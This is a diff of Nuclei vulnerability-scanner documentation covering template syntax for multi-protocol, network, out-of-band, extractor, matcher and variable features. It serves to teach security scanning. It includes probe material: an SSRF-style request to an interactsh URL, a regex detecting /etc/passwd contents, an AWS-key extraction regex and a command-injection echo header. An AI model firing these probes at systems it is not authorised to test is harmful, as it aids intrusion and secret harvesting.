In the previous example, we demonstrated how to export the DNS CNAME and use it in an HTTP request. However, you might encounter a scenario where a template includes more than four protocols, and you need to export various response fields such as `subject_dn`, `ns`, `cname`, `header`, and so on. While you could achieve this by adding more dynamic extractors, this approach could clutter the template and introduce redundant logic, making it difficult to track and maintain all the variables.
|
||||
|
||||
To address this issue, multi-protocol execution supports template-scoped protocol responses. This means that all response fields from all protocols in a template are available in the template context with a protocol prefix.
|
||||
|
||||
Here's an example to illustrate this:
|
||||
|
||||
Protocol | Response Field | Exported Variable |
|
||||
-------- | -------------- | ----------------- |
|
||||
ssl | subject_cn | ssl_subject_cn |
|
||||
dns | cname | dns_cname |
|
||||
http | header | http_header |
|
||||
code | response | code_response |
|
||||
|
||||
This is just an example, but it's important to note that the response fields of all protocols used in a multi-protocol template are exported.
|
||||
|
||||
**Example:**
|
||||
|
||||
```yaml
|
||||
id: dns-ssl-http-proto-prefix
|
||||
|
||||
info:
|
||||
name: multi protocol request with response fields
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}" # DNS Request
|
||||
type: cname
|
||||
|
||||
ssl:
|
||||
- address: "{{Hostname}}" # ssl request
|
||||
|
||||
http:
|
||||
- method: GET # http request
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- contains(http_body,'ProjectDiscovery.io') # check for http string
|
||||
- trim_suffix(dns_cname,'.ghost.io.') == 'projectdiscovery' # check for cname (extracted information from dns response)
|
||||
- ssl_subject_cn == 'blog.projectdiscovery.io'
|
||||
condition: and
|
||||
```
|
||||
To list all exported response fields write a multi protocol template and run it with `-v -svd` flag and it will print all exported response fields
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
nuclei -t multi-protocol-template.yaml -u scanme.sh -debug -svd
|
||||
```
|
||||
|
||||
### Data Export across Protocols
|
||||
|
||||
If you are unfamiliar with dynamic extractors, we recommend reading the [dynamic extractor](https://docs.nuclei.sh/template-guide/operators/extractors#dynamic-extractor) section first.
|
||||
|
||||
Previously, Dynamic Extractors were only supported for specific protocols or workflows. However, with multi-protocol execution, dynamically extracted values are stored in the template context and can be used across all protocols.
|
||||
|
||||
**Example:**
|
||||
|
||||
```yaml
|
||||
id: dns-http-template
|
||||
|
||||
info:
|
||||
name: dns + http takeover template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}" # dns request
|
||||
type: cname
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
name: exported_cname
|
||||
dsl:
|
||||
- cname
|
||||
internal: true
|
||||
|
||||
http:
|
||||
- method: GET # http request
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- contains(body,'Domain not found') # check for http string
|
||||
- contains(exported_cname, 'github.io') # check for cname (extracted information from dns response)
|
||||
condition: and
|
||||
```
|
||||
## How Multi Protocol Works?
|
||||
|
||||
At this point we have seen how multi protocol templates look like and what are the features it brings to the table. Now let's see how multi protocol templates work and things to keep in mind while writing them.
|
||||
|
||||
- Multi Protocol Templates are executed in order of protocols defined in template.
|
||||
- Protocols in multi protocol templates are executed in serial i.e one after another.
|
||||
- Response fields of protocols are exported to template context as soon as that protocol is executed.
|
||||
- Variables are scoped at template level and evaluated after each protocol execution.
|
||||
- Multi protocol brings limited indirect support for preprocessing(using variables) and postprocessing(using dynamic extractors) for protocols.
|
||||
|
||||
## FAQ
|
||||
|
||||
**What Protocols are supported in Multi-Protocol Execution Mode?**
|
||||
|
||||
> There is no restriction around any protocol and any protocol available/implemented in nuclei engine can be used in multi protocol templates
|
||||
|
||||
**How many protocols can be used in Multi-Protocol Execution Mode?**
|
||||
|
||||
> There is no restriction around number of protocols but currently duplicated protocols are not supported i.e dns -> http -> ssl -> http. Please open a issue if you have a vulnerabilty/usecase that requires duplicated protocols
|
||||
|
||||
**What happens if a protocol fails?**
|
||||
|
||||
> Multi Protocol Execution follows exit on error policy i.e if protocol fails to execute then execution of remaining protocols is skipped and template execution is stopped
|
||||
|
||||
**How is multi protocol execution different from workflows?**
|
||||
|
||||
> Workflow as name suggest is a workflow that executes templates based on workflow file
|
||||
> - Workflow does not contain actual logic of vulnerability but just a workflow that executes different templates
|
||||
> - Workflow supports conditional execution of multiple templates
|
||||
> - Workflow has limited supported for variables and dynamic extractors
|
||||
|
||||
To summarize workflow is a step higher than template and manages execution of templates based on workflow file
|
||||
|
||||
**Is multi protocol execution supported in nuclei v2?**
|
||||
|
||||
> No, Multi Protocol Execution is only supported in nuclei v3 and above
|
||||
@@ -0,0 +1,167 @@
|
||||
---
|
||||
title: "Network"
|
||||
---
|
||||
|
||||
Nuclei can act as an automatable **Netcat**, allowing users to send bytes across the wire and receive them, while providing matching and extracting capabilities on the response.
|
||||
|
||||
Network Requests start with a **network** block which specifies the start of the requests for the template.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
tcp:
|
||||
```
|
||||
|
||||
### Inputs
|
||||
|
||||
First thing in the request is **inputs**. Inputs are the data that will be sent to the server, and optionally any data to read from the server.
|
||||
|
||||
At it's most simple, just specify a string, and it will be sent across the network socket.
|
||||
|
||||
```yaml
|
||||
# inputs is the list of inputs to send to the server
|
||||
inputs:
|
||||
- data: "TEST\r\n"
|
||||
```
|
||||
|
||||
You can also send hex encoded text that will be first decoded and the raw bytes will be sent to the server.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- data: "50494e47"
|
||||
type: hex
|
||||
- data: "\r\n"
|
||||
```
|
||||
|
||||
Helper function expressions can also be defined in input and will be first evaluated and then sent to the server. The last Hex Encoded example can be sent with helper functions this way -
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- data: 'hex_decode("50494e47")\r\n'
|
||||
```
|
||||
|
||||
One last thing that can be done with inputs is reading data from the socket. Specifying `read-size` with a non-zero value will do the trick. You can also assign the read data some name, so matching can be done on that part.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- read-size: 8
|
||||
```
|
||||
|
||||
Example with reading a number of bytes, and only matching on them.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- read-size: 8
|
||||
name: prefix
|
||||
...
|
||||
matchers:
|
||||
- type: word
|
||||
part: prefix
|
||||
words:
|
||||
- "CAFEBABE"
|
||||
```
|
||||
|
||||
Multiple steps can be chained together in sequence to do network reading / writing.
|
||||
|
||||
### Host
|
||||
|
||||
The next part of the requests is the **host** to connect to. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **Hostname** - variable is replaced by the hostname provided on command line.
|
||||
|
||||
An example name value:
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
```
|
||||
|
||||
Nuclei can also do TLS connection to the target server. Just add `tls://` as prefix before the **Hostname** and you're good to go.
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "tls://{{Hostname}}"
|
||||
```
|
||||
|
||||
If a port is specified in the host, the user supplied port is ignored and the template port takes precedence.
|
||||
|
||||
### Port
|
||||
|
||||
Starting from Nuclei v2.9.15, a new field called `port` has been introduced in network templates. This field allows users to specify the port separately instead of including it in the host field.
|
||||
|
||||
Previously, if you wanted to write a network template for an exploit targeting SSH, you would have to specify both the hostname and the port in the host field, like this:
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
- "{{Host}}:22"
|
||||
```
|
||||
|
||||
In the above example, two network requests are sent: one to the port specified in the input/target, and another to the default SSH port (22).
|
||||
|
||||
The reason behind introducing the port field is to provide users with more flexibility when running network templates on both default and non-default ports. For example, if a user knows that the SSH service is running on a non-default port of 2222 (after performing a port scan with service discovery), they can simply run:
|
||||
|
||||
```bash
|
||||
$ nuclei -u scanme.sh:2222 -id xyz-ssh-exploit
|
||||
```
|
||||
|
||||
In this case, Nuclei will use port 2222 instead of the default port 22. If the user doesn't specify any port in the input, port 22 will be used by default. However, this approach may not be straightforward to understand and can generate warnings in logs since one request is expected to fail.
|
||||
|
||||
Another issue with the previous design of writing network templates is that requests can be sent to unexpected ports. For example, if a web service is running on port 8443 and the user runs:
|
||||
|
||||
```bash
|
||||
$ nuclei -u scanme.sh:8443
|
||||
```
|
||||
|
||||
In this case, `xyz-ssh-exploit` template will send one request to `scanme.sh:22` and another request to `scanme.sh:8443`, which may return unexpected responses and eventually result in errors. This is particularly problematic in automation scenarios.
|
||||
|
||||
To address these issues while maintaining the existing functionality, network templates can now be written in the following way:
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
port: 22
|
||||
```
|
||||
In this new design, the functionality to run templates on non-standard ports will still exist, except for the default reserved ports (`80`, `443`, `8080`, `8443`, `8081`, `53`). Additionally, the list of default reserved ports can be customized by adding a new field called exclude-ports:
|
||||
|
||||
```yaml
|
||||
exclude-ports: 80,443
|
||||
```
|
||||
When `exclude-ports` is used, the default reserved ports list will be overwritten. This means that if you want to run a network template on port `80`, you will have to explicitly specify it in the port field.
|
||||
|
||||
#### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **Network** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|------------------|-------------------------------------|
|
||||
| request | Network Request |
|
||||
| data | Final Data Read From Network Socket |
|
||||
| raw / body / all | All Data received from Socket |
|
||||
|
||||
### **Example Network Template**
|
||||
|
||||
The final example template file for a `hex` encoded input to detect MongoDB running on servers with working matchers is provided below.
|
||||
|
||||
```yaml
|
||||
id: input-expressions-mongodb-detect
|
||||
|
||||
info:
|
||||
name: Input Expression MongoDB Detection
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://github.com/orleven/Tentacle
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
port: 27017
|
||||
read-size: 2048
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "logicalSessionTimeout"
|
||||
- "localTime"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/network).
|
||||
@@ -0,0 +1,72 @@
|
||||
---
|
||||
title: "OOB Testing"
|
||||
---
|
||||
|
||||
Since release of [Nuclei v2.3.6](https://github.com/projectdiscovery/nuclei/releases/tag/v2.3.6), Nuclei supports using the [interact.sh](https://github.com/projectdiscovery/interactsh) API to achieve OOB based vulnerability scanning with automatic Request correlation built in. It's as easy as writing `{{interactsh-url}}` anywhere in the request, and adding a matcher for `interact_protocol`. Nuclei will handle correlation of the interaction to the template & the request it was generated from allowing effortless OOB scanning.
|
||||
|
||||
## Interactsh Placeholder
|
||||
|
||||
`{{interactsh-url}}` placeholder is supported in **http** and **network** requests.
|
||||
|
||||
An example of nuclei request with `{{interactsh-url}}` placeholders is provided below. These are replaced on runtime with unique interact.sh URLs.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
```
|
||||
|
||||
## Interactsh Matchers
|
||||
|
||||
Interactsh interactions can be used with `word`, `regex` or `dsl` matcher/extractor using following parts.
|
||||
|
||||
| part |
|
||||
|---------------------|
|
||||
| interactsh_protocol |
|
||||
| interactsh_request |
|
||||
| interactsh_response |
|
||||
|
||||
<Note>
|
||||
**interactsh_protocol**
|
||||
|
||||
Value can be dns, http or smtp. This is the standard matcher for every interactsh based template with DNS often as the common value as it is very non-intrusive in nature.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**interactsh_request**
|
||||
|
||||
The request that the interact.sh server received.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**interactsh_response**
|
||||
|
||||
The response that the interact.sh server sent to the client.
|
||||
</Note>
|
||||
|
||||
Example of Interactsh DNS Interaction matcher:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
```
|
||||
|
||||
Example of HTTP Interaction matcher + word matcher on Interaction content
|
||||
|
||||
```yaml
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- "http"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request # Confirms the retrieval of /etc/passwd file
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
```
|
||||
@@ -0,0 +1,122 @@
|
||||
---
|
||||
title: "Extractors"
|
||||
---
|
||||
|
||||
## Extractors
|
||||
|
||||
Extractors can be used to extract and display in results a match from the response returned by a module.
|
||||
|
||||
|
||||
### Types
|
||||
|
||||
Multiple extractors can be specified in a request. As of now we support five type of extractors.
|
||||
|
||||
1. **regex** - Extract data from response based on a Regular Expression.
|
||||
2. **kval** - Extract `key: value`/`key=value` formatted data from Response Header/Cookie
|
||||
3. **json** - Extract data from JSON based response in JQ like syntax.
|
||||
4. **xpath** - Extract xpath based data from HTML Response
|
||||
5. **dsl** - Extract data from the response based on a DSL expressions.
|
||||
|
||||
### Regex Extractor
|
||||
|
||||
Example extractor for HTTP Response body using **regex** -
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex # type of the extractor
|
||||
part: body # part of the response (header,body,all)
|
||||
regex:
|
||||
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" # regex to use for extraction.
|
||||
```
|
||||
|
||||
### Kval Extractor
|
||||
|
||||
A **kval** extractor example to extract `content-type` header from HTTP Response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: kval # type of the extractor
|
||||
kval:
|
||||
- content_type # header/cookie value to extract from response
|
||||
```
|
||||
|
||||
Note that `content-type` has been replaced with `content_type` because **kval** extractor does not accept dash (`-`) as input and must be substituted with underscore (`_`).
|
||||
|
||||
### JSON Extractor
|
||||
|
||||
A **json** extractor example to extract value of `id` object from JSON block.
|
||||
|
||||
```yaml
|
||||
- type: json # type of the extractor
|
||||
part: body
|
||||
name: user
|
||||
json:
|
||||
- '.[] | .id' # JQ like syntax for extraction
|
||||
```
|
||||
|
||||
For more details about JQ - https://github.com/stedolan/jq
|
||||
|
||||
### Xpath Extractor
|
||||
|
||||
A **xpath** extractor example to extract value of `href` attribute from HTML response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: xpath # type of the extractor
|
||||
attribute: href # attribute value to extract (optional)
|
||||
xpath:
|
||||
- '/html/body/div/p[2]/a' # xpath value for extraction
|
||||
```
|
||||
|
||||
With a simple [copy paste in browser](https://www.scientecheasy.com/2020/07/find-xpath-chrome.html/), we can get the **xpath** value form any web page content.
|
||||
|
||||
### DSL Extractor
|
||||
|
||||
A **dsl** extractor example to extract the effective `body` length through the `len` helper function from HTTP Response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: dsl # type of the extractor
|
||||
dsl:
|
||||
- len(body) # dsl expression value to extract from response
|
||||
```
|
||||
|
||||
### Dynamic Extractor
|
||||
|
||||
Extractors can be used to capture Dynamic Values on runtime while writing Multi-Request templates. CSRF Tokens, Session Headers, etc. can be extracted and used in requests. This feature is only available in RAW request format.
|
||||
|
||||
Example of defining a dynamic extractor with name `api` which will capture a regex based pattern from the request.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex
|
||||
name: api
|
||||
part: body
|
||||
internal: true # Required for using dynamic variables
|
||||
regex:
|
||||
- "(?m)[0-9]{3,10}\\.[0-9]+"
|
||||
```
|
||||
|
||||
The extracted value is stored in the variable **api**, which can be utilised in any section of the subsequent requests.
|
||||
|
||||
If you want to use extractor as a dynamic variable, you must use `internal: true` to avoid printing extracted values in the terminal.
|
||||
|
||||
An optional regex **match-group** can also be specified for the regex for more complex matches.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex # type of extractor
|
||||
name: csrf_token # defining the variable name
|
||||
part: body # part of response to look for
|
||||
# group defines the matching group being used.
|
||||
# In GO the "match" is the full array of all matches and submatches
|
||||
# match[0] is the full match
|
||||
# match[n] is the submatches. Most often we'd want match[1] as depicted below
|
||||
group: 1
|
||||
regex:
|
||||
- '<input\sname="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})"\s/>'
|
||||
```
|
||||
|
||||
The above extractor with name `csrf_token` will hold the value extracted by `([[:alnum:]]{16})` as `abcdefgh12345678`.
|
||||
|
||||
If no group option is provided with this regex, the above extractor with name `csrf_token` will hold the full match (by `<input name="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})" />`) as `<input name="csrf_token" type="hidden" value="abcdefgh12345678" />`.
|
||||
@@ -0,0 +1,186 @@
|
||||
---
|
||||
title: "Matchers"
|
||||
---
|
||||
|
||||
## Matchers
|
||||
|
||||
Matchers allow different type of flexible comparisons on protocol responses. They are what makes nuclei so powerful, checks are very simple to write and multiple checks can be added as per need for very effective scanning.
|
||||
|
||||
### Types
|
||||
|
||||
Multiple matchers can be specified in a request. There are basically 7 types of matchers:
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
|--------------|-----------------------------|
|
||||
| status | Integer Comparisons of Part |
|
||||
| size | Content Length of Part |
|
||||
| word | Part for a protocol |
|
||||
| regex | Part for a protocol |
|
||||
| binary | Part for a protocol |
|
||||
| dsl | Part for a protocol |
|
||||
| xpath | Part for a protocol |
|
||||
|
||||
To match status codes for responses, you can use the following syntax.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
# Match the status codes
|
||||
- type: status
|
||||
# Some status codes we want to match
|
||||
status:
|
||||
- 200
|
||||
- 302
|
||||
```
|
||||
|
||||
To match binary for hexadecimal responses, you can use the following syntax.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: binary
|
||||
binary:
|
||||
- "504B0304" # zip archive
|
||||
- "526172211A070100" # RAR archive version 5.0
|
||||
- "FD377A585A0000" # xz tar.xz archive
|
||||
condition: or
|
||||
part: body
|
||||
```
|
||||
|
||||
Matchers also support hex encoded data which will be decoded and matched.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
encoding: hex
|
||||
words:
|
||||
- "50494e47"
|
||||
part: body
|
||||
```
|
||||
|
||||
**Word** and **Regex** matchers can be further configured depending on the needs of the users.
|
||||
|
||||
**XPath** matchers use XPath queries to match XML and HTML responses. If the XPath query returns any results, it's considered a match.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: xpath
|
||||
part: body
|
||||
xpath:
|
||||
- "/html/head/title[contains(text(), 'Example Domain')]"
|
||||
```
|
||||
|
||||
Complex matchers of type **dsl** allows building more elaborate expressions with helper functions. These function allow access to Protocol Response which contains variety of data based on each protocol. See protocol specific documentation to learn about different returned results.
|
||||
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
|
||||
- "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
|
||||
```
|
||||
|
||||
Every part of a Protocol response can be matched with DSL matcher. Some examples -
|
||||
|
||||
| Response Part | Description | Example |
|
||||
|----------------|-------------------------------------------------|------------------------|
|
||||
| content_length | Content-Length Header | content_length >= 1024 |
|
||||
| status_code | Response Status Code | status_code==200 |
|
||||
| all_headers | Unique string containing all headers | len(all_headers) |
|
||||
| body | Body as string | len(body) |
|
||||
| header_name | Lowercase header name with `-` converted to `_` | len(user_agent) |
|
||||
| raw | Headers + Response | len(raw) |
|
||||
|
||||
|
||||
### Conditions
|
||||
|
||||
Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
|
||||
|
||||
1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
|
||||
2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
|
||||
|
||||
### Matched Parts
|
||||
|
||||
Multiple parts of the response can also be matched for the request, default matched part is `body` if not defined.
|
||||
|
||||
Example matchers for HTTP response body using the AND condition:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
# Match the body word
|
||||
- type: word
|
||||
# Some words we want to match
|
||||
words:
|
||||
- "[core]"
|
||||
- "[config]"
|
||||
# Both words must be found in the response body
|
||||
condition: and
|
||||
# We want to match request body (default)
|
||||
part: body
|
||||
```
|
||||
|
||||
Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
|
||||
|
||||
### Negative Matchers
|
||||
|
||||
All types of matchers also support negative conditions, mostly useful when you look for a match with an exclusions. This can be used by adding `negative: true` in the **matchers** block.
|
||||
|
||||
Here is an example syntax using `negative` condition, this will return all the URLs not having `PHPSESSID` in the response header.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
negative: true
|
||||
```
|
||||
|
||||
### Multiple Matchers
|
||||
|
||||
Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
|
||||
|
||||
Here is an example of syntax for multiple matchers.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
name: php
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
- type: word
|
||||
name: node
|
||||
words:
|
||||
- "Server: NodeJS"
|
||||
- "X-Powered-By: nodejs"
|
||||
condition: or
|
||||
part: header
|
||||
- type: word
|
||||
name: python
|
||||
words:
|
||||
- "Python/2."
|
||||
- "Python/3."
|
||||
condition: or
|
||||
part: header
|
||||
```
|
||||
|
||||
### Matchers Condition
|
||||
|
||||
While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
|
||||
|
||||
```yaml
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP"
|
||||
part: body
|
||||
```
|
||||
@@ -0,0 +1,32 @@
|
||||
---
|
||||
title: "Preprocessors"
|
||||
---
|
||||
|
||||
## Template **Preprocessors**
|
||||
|
||||
Certain pre-processors can be specified globally anywhere in the template that run as soon as the template is loaded to achieve things like random ids generated for each template run.
|
||||
|
||||
|
||||
### randstr
|
||||
|
||||
<Note>
|
||||
Generates a [random ID](https://github.com/rs/xid) for a template on each nuclei run. This can be used anywhere in the template and will always contain the same value. `randstr` can be suffixed by a number, and new random ids will be created for those names too. Ex. `{{randstr_1}}` which will remain same across the template.
|
||||
|
||||
`randstr` is also supported within matchers and can be used to match the inputs.
|
||||
</Note>
|
||||
|
||||
For example:-
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/level1/application/"
|
||||
headers:
|
||||
cmd: echo '{{randstr}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '{{randstr}}'
|
||||
```
|
||||
@@ -0,0 +1,53 @@
|
||||
---
|
||||
title: "Template Details"
|
||||
---
|
||||
|
||||
Each template has a unique ID which is used during output writing to specify the template name for an output line.
|
||||
|
||||
The template file ends with **YAML** extension. The template files can be created any text editor of your choice.
|
||||
|
||||
```yaml
|
||||
id: git-config
|
||||
```
|
||||
|
||||
ID must not contain spaces. This is done to allow easier output parsing.
|
||||
|
||||
### Information
|
||||
|
||||
Next important piece of information about a template is the **info** block. Info block provides **name**, **author**, **severity**, **description**, **reference**, **tags** and `metadata`. It also contains **severity** field which indicates the severity of the template, **info** block also supports dynamic fields, so one can define N number of `key: value` blocks to provide more useful information about the template. **reference** is another popular tag to define external reference links for the template.
|
||||
|
||||
Another useful tag to always add in `info` block is **tags**. This allows you to set some custom tags to a template, depending on the purpose like `cve`, `rce` etc. This allows nuclei to identify templates with your input tags and only run them.
|
||||
|
||||
Example of an info block -
|
||||
```yaml
|
||||
info:
|
||||
name: Git Config File Detection Template
|
||||
author: Ice3man
|
||||
severity: medium
|
||||
description: Searches for the pattern /.git/config on passed URLs.
|
||||
reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/
|
||||
tags: git,config
|
||||
```
|
||||
Actual requests and corresponding matchers are placed below the info block, and they perform the task of making requests to target servers and finding if the template request was successful.
|
||||
|
||||
Each template file can contain multiple requests to be made. The template is iterated and one by one the desired requests are made to the target sites.
|
||||
|
||||
|
||||
The best part of this is you can simply share your crafted template with your teammates, triage/security team to replicate the issue on the other side with ease.
|
||||
|
||||
#### Metadata
|
||||
|
||||
It's possible to add metadata nodes, for example, to integrates with [uncover](https://github.com/projectdiscovery/uncover) (cf. [Uncover Integration](https://nuclei.projectdiscovery.io/nuclei/get-started/#uncover-integration)).
|
||||
|
||||
The metadata nodes are crafted this way: `<engine>-query: '<query>'` where:
|
||||
|
||||
- `<engine>` is the search engine, equivalent of the value of the `-ue` option of nuclei or the `-e` option of uncover
|
||||
- `<query>` is the search query, equivalent of the value of the `-uq` option of nuclei or the `-q` option of uncover
|
||||
|
||||
For example for Shodan:
|
||||
|
||||
```
|
||||
info:
|
||||
metadata:
|
||||
shodan-query: 'vuln:CVE-2021-26855'
|
||||
```
|
||||
@@ -0,0 +1,74 @@
|
||||
---
|
||||
title: "Variables"
|
||||
---
|
||||
|
||||
## Variables
|
||||
|
||||
Variables can be used to declare some values which remain constant throughout the template. The value of the variable once calculated does not change. Variables can be either simple strings or DSL helper functions. If the variable is a helper function, it is enclosed in double-curly brackets `{{<expression>}}`. Variables are declared at template level.
|
||||
|
||||
Example variables -
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
a1: "test" # A string variable
|
||||
a2: "{{to_lower(rand_base(5))}}" # A DSL function variable
|
||||
```
|
||||
|
||||
Currently, `dns`, `http`, `headless` and `network` protocols support variables.
|
||||
|
||||
Example of templates with variables -
|
||||
|
||||
```yaml
|
||||
# Variable example using HTTP requests
|
||||
id: variables-example
|
||||
|
||||
info:
|
||||
name: Variables Example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
a1: "value"
|
||||
a2: "{{base64('hello')}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{FQDN}}
|
||||
Test: {{a1}}
|
||||
Another: {{a2}}
|
||||
stop-at-first-match: true
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "value"
|
||||
- "aGVsbG8="
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Variable example for network requests
|
||||
id: variables-example
|
||||
|
||||
info:
|
||||
name: Variables Example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
a1: "PING"
|
||||
a2: "{{base64('hello')}}"
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "{{a1}}"
|
||||
read-size: 8
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "{{a2}}"
|
||||
```
|
||||